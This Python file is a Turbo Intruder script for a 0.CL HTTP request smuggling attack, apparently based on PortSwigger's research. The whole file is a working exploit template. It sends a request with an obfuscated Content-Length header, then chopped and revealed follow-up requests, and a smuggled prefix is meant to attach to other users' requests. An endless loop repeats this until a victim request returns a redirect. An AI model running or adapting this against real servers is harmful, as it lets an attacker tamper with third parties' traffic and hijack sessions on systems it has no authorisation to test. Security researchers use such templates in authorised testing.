0cl-exploit.py

# Refer to https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    # The request should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
    stage1 = '''POST /nul HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length : %s

'''

    # This will get prefixed to the victim's request - place your payload in here
    smuggled = '''GET /resources HTTP/1.1
X: Y'''



    # If the server doesn't like GET with a body, try OPTIONS etc
    stage2_chopped = '''GET / HTTP/1.1
Content-Length: 123
X: Y'''

    stage2_revealed = '''GET /404 HTTP/1.1
Host: '''+host+'''
User-Agent: foo
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: foo

'''

    # No need to edit below this line
    if '%s' not in stage1:
        raise Exception('Please place %s in the Content-Length header value')

    if not stage1.endswith('\r\n\r\n'):
        raise Exception('Stage1 request must end with a blank line and have no body')


    while True:
        engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
        engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
        engine.queue(victim, label='victim')


def handleResponse(req, interesting):
    table.add(req)

    # 0.CL exploits use a double desync so they can take a while!
    # Uncomment & customise this if you want the run to automatically stop on success
    if req.label == 'victim' and req.status == 302:
        req.engine.cancel()